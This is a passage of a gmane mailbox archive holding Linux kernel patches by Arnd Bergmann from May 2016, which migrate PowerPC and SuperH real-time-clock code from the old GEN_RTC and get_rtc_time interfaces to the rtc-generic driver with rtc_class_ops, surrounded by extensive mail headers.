         mvlj4cfF+q6IKovjqLDkdgEO+ni07YP2qjeKKVz0QnjW0+p07L4x9JrIHhyiTyCgpbfN
         dKHd04DYrUlrZCFjLxM1mO5EDrQA4gwFKDZJS7vecpuOoKcjhQw9dvn1PQD4D4cnZ2xW
         kka/7RoeG2VHTD7nh5mD2Ze2q5Oms2KSZaC4XMJtI67o6Gkm1AB/MvulGCkFzBBgpOnv
         6Pgg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=yJaCTJnTgBimeLqj3V+9+sahbZqVucYlq/dn1H1UZg8=;
        b=Pj1Y+l8v2y0fPppD0FxypnOks3uwP/4OmUWqgIHKCsgAtaK44AHnzFmkEW8/YmPiAy
         1aUlUaDhasbj0qUXDEheDzq0dyXdnwnw1S5/WrRPZYrD5wMQSJt/RZymTCm1GKjud0O1
         vacrdVLwYZWvVRQ6J6Wu8csgJIuTDwW88yEm9DmNAzdKuyNXNXXovGP6LKXpx39rjB0g
         xvk81tNbdVxYSsMiaJ5ZD9/X1vR/Xgdlo91ZRANXpBogEEAR4SO5JeBze9WcEF2vIrpr
         Gz1p0mrwO+sqk8jei2rjxOdkaKb7oye2rG8BxDp3V80bL8GWg6jP6L/bufGL4/legi2Z
         8+LA==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tKurGAPswWCpsLtos3DfaUKt3oGcnIY6IhZ6hsWGLx8ksdG5niwF3sPTJpTMsx1Mg==
X-Received: by 10.28.26.197 with SMTP id a188mr32851wma.2.1464634686573;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.23.196 with SMTP id 187ls877810wmx.13.gmail; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.28.1.16 with SMTP id 16mr1191616wmb.0.1464634686233;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.74])
        by gmr-mx.google.com with ESMTPS id v188si849169wmg.1.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.74 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.74;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Md4Bm-1aqTlZ1mhW-00IF3U; Mon, 30 May
 2016 20:58:03 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:mU+jsC6ft7y4jAN0AVZizPcSNB30ZOCxRoW1SFg9m2p85M0WnMD
 bd3TleJMa7p9z6BIXnuVuo+MmNYN/7ZQsv/k7kagbfmWqd+e+f7o5mEKd+7b0raIezfRAhg
 4IWW1lBb1Sm0q3CGx44p7in96nkKYsSrh9QBSbaI9YDz/HHuMTScnjWUh9oTFZsQTvgORRQ
 aFNuQQJSXMGKbFRTOvxSA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WlaCh9rzDXQ=:Y8+QjZEUSDj41sbOn0mc7q
 n6X380oa86j4mPRfxQNFrpR0Lhd1Y+VlrbqC1oS/J6PzOS4tVYSbvCDHgstV/RowvN4EnTP7L
 rENGTm9p9IKXsNJ4tyLZCbMb/lQPufskw7E6UiMALBpwimZSd0Z73sqV35VaivkVH6i9POFdM
 h0P2x19BjBM4BgNXAlcjnW13nn6r41vnudvzInIcWShdQXS0j9JKpZhADx39IjgFkQGMhBnCy
 0VSHDDhZQULx5Ek27JTeOz0B3uJVqYjW3+LjTfIjqZ8T8WmhbI29EYq9A5Pylll3eKaAZGAzA
 Y9u0NYjiqnP2ulN4XQuxnAWfzACZ+mkAOXX6P8jn58XXqy/duqQuZ70NQYpqsEWGNUaXxW2yO
 hZRxiTdOofk2kXXeqGrIXxDulTqGPmESgjo6yvPw4q9vAEK9b/TPr0oSh2YhmsMNUfrev6ELL
 akmvr+a2PHUERbdWAukrOhvt9IrhzYQa4238KGOUSd0EcIGK978mdlMnnXyvoT3+Kv6MTe4xW
 9FmXjC+Dn6Lgblqz7ZnCaABV4yh7uDbuswJ6FX/rnkGlJHSDxik8GlOylcJ7NPzr984BUeXO2
 BbeNR5FTrlyxaqF2H0ygVZG89iTl2X/3FbVx8uoq3Qk6PtDXKxigmRVoGWcxqWs/DAhyvMy5c
 Sb3KLgUtF8EATWaf8e+r/j90lKgeu5iGD2z/LSIj0hMXCcl2KCu7zKH/fZVj8QsThnTI=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.74 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:39 gmane.linux.ports.alpha:3745 gmane.linux.kernel:2230343 gmane.linux.ports.parisc:26799 gmane.linux.ports.ppc64.devel:127847 gmane.linux.ports.sh.devel:54132 gmane.linux.kernel.cross-arch:32179
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/39>

PowerPC is the last architecture using the GEN_RTC driver on some
machines, but we can migrate them all to using the RTC_DRV_GENERIC
driver instead now.

This moves over the CONFIG_GEN_RTC option from drivers/char into
arch/powerpc/platforms/Kconfig and makes it just select the
replacement driver instead, for the only reason of not breaking
existing defconfig and .config files that users may have.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/powerpc/include/asm/rtc.h    | 78 ---------------------------------------
 arch/powerpc/platforms/Kconfig    | 11 ++++++
 arch/powerpc/platforms/ps3/time.c |  2 +-
 drivers/char/Kconfig              |  4 +-
 drivers/char/Makefile             |  2 +-
 5 files changed, 15 insertions(+), 82 deletions(-)
 delete mode 100644 arch/powerpc/include/asm/rtc.h

diff --git a/arch/powerpc/include/asm/rtc.h b/arch/powerpc/include/asm/rtc.h
deleted file mode 100644
index f5802926b6c0..000000000000
--- a/arch/powerpc/include/asm/rtc.h
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Real-time clock definitions and interfaces
- *
- * Author: Tom Rini <trini-Igf4POYTYCDQT0dZR+AlfA@public.gmane.org>
- *
- * 2002 (c) MontaVista, Software, Inc.  This file is licensed under
- * the terms of the GNU General Public License version 2.  This program
- * is licensed "as is" without any warranty of any kind, whether express
- * or implied.
- *
- * Based on:
- * include/asm-m68k/rtc.h
- *
- * Copyright Richard Zidlicky
- * implementation details for genrtc/q40rtc driver
- *
- * And the old drivers/macintosh/rtc.c which was heavily based on:
- * Linux/SPARC Real Time Clock Driver
- * Copyright (C) 1996 Thomas K. Dyas (tdyas-plZrL8KR64B+CIkdHa1UOg@public.gmane.org)
- *
- * With additional work by Paul Mackerras and Franz Sirl.
- */
-
-#ifndef __ASM_POWERPC_RTC_H__
-#define __ASM_POWERPC_RTC_H__
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-
-#include <asm/machdep.h>
-#include <asm/time.h>
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_time(struct rtc_time *time)
-{
-	if (ppc_md.get_rtc_time)
-		ppc_md.get_rtc_time(time);
-	return RTC_24H;
-}
-
-/* Set the current date and time in the real time clock. */
-static inline int set_rtc_time(struct rtc_time *time)
-{
-	if (ppc_md.set_rtc_time)
-		return ppc_md.set_rtc_time(time);
-	return -EINVAL;
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
-#endif /* __KERNEL__ */
-#endif /* __ASM_POWERPC_RTC_H__ */
diff --git a/arch/powerpc/platforms/Kconfig b/arch/powerpc/platforms/Kconfig
index 46a3533d3acb..863aa4341390 100644
--- a/arch/powerpc/platforms/Kconfig
+++ b/arch/powerpc/platforms/Kconfig
@@ -321,6 +321,17 @@ config OF_RTC
 	  Uses information from the OF or flattened device tree to instantiate
 	  platform devices for direct mapped RTC chips like the DS1742 or DS1743.
 
+config GEN_RTC
+	bool "Use the platform RTC operations from user space"
+	select RTC_CLASS
+	select RTC_DRV_GENERIC
+	help
+	  This option provides backwards compatibility with the old gen_rtc.ko
+	  module that was traditionally used for old PowerPC machines.
+	  Platforms should migrate to enabling the RTC_DRV_GENERIC by hand
+	  replacing their get_rtc_time/set_rtc_time callbacks with
+	  a proper RTC device driver.
+
 config SIMPLE_GPIO
 	bool "Support for simple, memory-mapped GPIO controllers"
 	depends on PPC
diff --git a/arch/powerpc/platforms/ps3/time.c b/arch/powerpc/platforms/ps3/time.c
index 791c6142c4a7..11b45b58c81b 100644
--- a/arch/powerpc/platforms/ps3/time.c
+++ b/arch/powerpc/platforms/ps3/time.c
@@ -20,9 +20,9 @@
 
 #include <linux/kernel.h>
 #include <linux/platform_device.h>
+#include <linux/rtc.h>
 
 #include <asm/firmware.h>
-#include <asm/rtc.h>
 #include <asm/lv1call.h>
 #include <asm/ps3.h>
 
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index fccac76257c9..153e90f8a445 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -325,10 +325,10 @@ config JS_RTC
 	  To compile this driver as a module, choose M here: the
 	  module will be called js-rtc.
 
-config GEN_RTC
+config OLD_GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on PPC
+	depends on BROKEN
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
diff --git a/drivers/char/Makefile b/drivers/char/Makefile
index d8a7579300d2..fc0905aa7373 100644
--- a/drivers/char/Makefile
+++ b/drivers/char/Makefile
@@ -25,7 +25,7 @@ obj-$(CONFIG_APPLICOM)		+= applicom.o
 obj-$(CONFIG_SONYPI)		+= sonypi.o
 obj-$(CONFIG_RTC)		+= rtc.o
 obj-$(CONFIG_HPET)		+= hpet.o
-obj-$(CONFIG_GEN_RTC)		+= genrtc.o
+obj-$(CONFIG_OLD_GEN_RTC)	+= genrtc.o
 obj-$(CONFIG_EFI_RTC)		+= efirtc.o
 obj-$(CONFIG_DS1302)		+= ds1302.o
 obj-$(CONFIG_XILINX_HWICAP)	+= xilinx_hwicap/
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 04/16] rtc: sh: provide rtc_class_ops directly
Date: Mon, 30 May 2016 20:57:52 +0200
Lines: 124
Approved: news@gmane.org
Message-ID: <1464634684-1248135-5-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634705 4674 80.91.229.3 (30 May 2016 18:58:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:25 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:14 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f58.google.com ([209.85.215.58])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xP-UZ
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-lf0-f58.google.com with SMTP id o70sf37901446lfg.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=GtldWR8GHUwDHxfYdmAAhn6y/43UiDdufBLyP/xw+zI=;
        b=kUbIhMaRYnSwalY/BvAzg3cslnUbTW18sLCrfxS91K5JmCleNJuTPyhvNFGWa8tq8/
         Q5Qr/K/snDgNneIV7x5al/uy7PhbFscl2b6yCS98XwFgw/HQ6N57WP9oCo1yovp7UbrH
         GtxYZUthGeC2JKAH77joBinAs9xo8kEOywzm+GpL8g01ibXGclzdRh2PKOf9SQdJswwn
         FQsBMZNRLyFbEFvDqWNQKjM1eiXOvc5dmZkhEz+F6mBtGZbmJ8If9ULv+1MruU0VSpmB
         YM6/t8INcXMV3xuau3MfQfD8QiwymQ46k8F1BQM+bRq28NY6bymb6XCoSArtlCXlrQz2
         BYrA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=GtldWR8GHUwDHxfYdmAAhn6y/43UiDdufBLyP/xw+zI=;
        b=HB6gTsMEI0/IASZgVQm4rGOdsWz1/yGw2xk8l5t7QCrU9el7qKlRpQGKDXUzP1Lfl1
         ImdM4MKmLNmudv939llCZAN0S8vFnz/EvYLRVraNXSkOJBSGW1FQ0rPkaK4zjyQN5UHj
         iv+KHWAqvkunrU8COCK3TpqjrqREW/dJMmVuvRlv+6wBU9LxLmzT1Yf0Eny4FysufHq+
         JqMG0oI5Yuzk2oM8N1sHIRFZpSnPxL/yEAw7ibh4sa7vElh8jkVdW5NrO9ZMzoqgPig9
         +Jon5IJzzGq7PnZ9A/bSlg3BiYOWoocIURvRnFYDVXPi04gVOO6BLK5unHuNEA940UHZ
         rAUQ==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tLS3/GglJ59+VRjbxfqxdkzLIM+45RUpOaWfoVThQ+isf2IUUOxg5Vs1t4pfbsLvQ==
X-Received: by 10.28.63.136 with SMTP id m130mr32939wma.15.1464634686558;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.213.67 with SMTP id m64ls778955wmg.50.gmail; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.28.27.213 with SMTP id b204mr1214709wmb.4.1464634686216;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [212.227.17.13])
        by gmr-mx.google.com with ESMTPS id s140si1474548wme.1.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 212.227.17.13 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=212.227.17.13;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MSa4i-1axel81ydA-00RcSQ; Mon, 30 May
 2016 20:57:58 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:uVTqh3HX7XO1GXHsHwf+L8Hy8iEKa56O5vgNcF1lBoE+Jt/jfab
 +ZKhioDvxQFESaH0HAQ9dJeh++0GQlzVtxut3v1P0CNuKzj7vtcjkJdiCy8hum3y9R8n/Hu
 t7aFJLtGPyCbQJA7Y1oKgQ2L+sg5NKDmeeaEMBh77BNF0RpGw2AMdtsyg1vPGJUMSuwBzXP
 PDPgwQXTYhzufSqVxQz3A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FJ7KZKNcXt4=:bemJvfnJse1mPGm9r2UkAB
 j1sHYDNBtRFclAwLLbsVwciDlIGdIsaV73JF3SUkzoibAv2T+AMrl6GDquzQcaM/CDcuzSQFY
 I5ZGQLrJJtFf7oHox35AGD/R2pY1xauCYS7mQhdg+c556StiwcGK+NwfYgWG2RHzkOCoCmcnO
 LTHhTNQdaG3qbEhLGW3XB7n4qg+HXUQyZCFWxpagJt6Au6cQge7VHiAljcag8KSkEm84HVov1
 wovSzwnl7WbyIh+u81R7+iEJGZgMi8xsc6Ub2Ckzupp9ZlJYZHZUYROyl90bdwBSf9YkzN7Oy
 8cahDSAXFbyBCQ6m4RAxfqsfvhja3tR9/JQcwWEZ6NFrPMkTLmAN1ArhGTDLpFlW6+hWTHonL
 uPKwIXccjZ3CydxmMI/yxLVlTQQSIgQBr2y+FqbdB4U0cE0QsNe2/U9iEb+W/QMlAx9ftMy4Q
 iz6u3cmBmPrbhMAIFP2hBGf1e6w1ZGjiUCpvgrvwQ+TSwNlSnXQOkfJ/QRERAe6QdoEF34i7t
 MWH3wl8ivxexFSUsltqxGF1IBBdpcyV5jcJya24hZRYZCsezJas8nrBeEqJPtou/p1ZXsK914
 hLan8yBNqzn3f4goohx4N+N2nFMjaes6CnGu7ik9K2iMhjcJFYYxUXVLn6QhAfduRq93rgwgr
 dTkDCBgyDzuYjHE4bXB1GeGFdAkChMY7BbSk8oU1IBUW6gR1tQ2UnXl6mijPlG9rnIKI=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 212.227.17.13 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:40 gmane.linux.ports.alpha:3746 gmane.linux.kernel:2230344 gmane.linux.ports.parisc:26800 gmane.linux.ports.ppc64.devel:127848 gmane.linux.ports.sh.devel:54133 gmane.linux.kernel.cross-arch:32180
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/40>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on sh, that goes through another indirection using
the rtc_sh_get_time/rtc_sh_set_time functions.

This changes the sh rtc-generic device to provide its
rtc_class_ops directly, skipping one of the abstraction
levels.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/sh/include/asm/rtc.h | 11 -----------
 arch/sh/kernel/time.c     | 33 ++++++++++++++++++++-------------
 drivers/rtc/rtc-generic.c |  2 +-
 3 files changed, 21 insertions(+), 25 deletions(-)

diff --git a/arch/sh/include/asm/rtc.h b/arch/sh/include/asm/rtc.h
index 52b0c2dba979..f7b010d48af7 100644
--- a/arch/sh/include/asm/rtc.h
+++ b/arch/sh/include/asm/rtc.h
@@ -6,17 +6,6 @@ extern void (*board_time_init)(void);
 extern void (*rtc_sh_get_time)(struct timespec *);
 extern int (*rtc_sh_set_time)(const time_t);
 
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-struct rtc_time;
-unsigned int get_rtc_time(struct rtc_time *);
-int set_rtc_time(struct rtc_time *);
-
 #define RTC_CAP_4_DIGIT_YEAR	(1 << 0)
 
 struct sh_rtc_platform_info {
diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
index d6d0a986c6e9..a4a7862b489a 100644
--- a/arch/sh/kernel/time.c
+++ b/arch/sh/kernel/time.c
@@ -50,27 +50,31 @@ int update_persistent_clock(struct timespec now)
 }
 #endif
 
-unsigned int get_rtc_time(struct rtc_time *tm)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
 {
-	if (rtc_sh_get_time != null_rtc_get_time) {
-		struct timespec tv;
+	struct timespec tv;
 
-		rtc_sh_get_time(&tv);
-		rtc_time_to_tm(tv.tv_sec, tm);
-	}
-
-	return RTC_24H;
+	rtc_sh_get_time(&tv);
+	rtc_time_to_tm(tv.tv_sec, tm);
+	return 0;
 }
-EXPORT_SYMBOL(get_rtc_time);
 
-int set_rtc_time(struct rtc_time *tm)
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 {
 	unsigned long secs;
 
 	rtc_tm_to_time(tm, &secs);
-	return rtc_sh_set_time(secs);
+	if ((rtc_sh_set_time == null_rtc_set_time) ||
+	    (rtc_sh_set_time(secs) < 0))
+		return -EOPNOTSUPP;
+
+	return 0;
 }
-EXPORT_SYMBOL(set_rtc_time);
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_generic_init(void)
 {
@@ -79,7 +83,10 @@ static int __init rtc_generic_init(void)
 	if (rtc_sh_get_time == null_rtc_get_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index d726c6aa96a8..3958e87a05fa 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -10,7 +10,7 @@
 #include <linux/rtc.h>
 
 #if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
+    defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 14/16] rtc: generic: remove get_rtc_time/set_rtc_time
 wrappers
Date: Mon, 30 May 2016 20:58:02 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <1464634684-1248135-15-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634705 4683 80.91.229.3 (30 May 2016 18:58:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
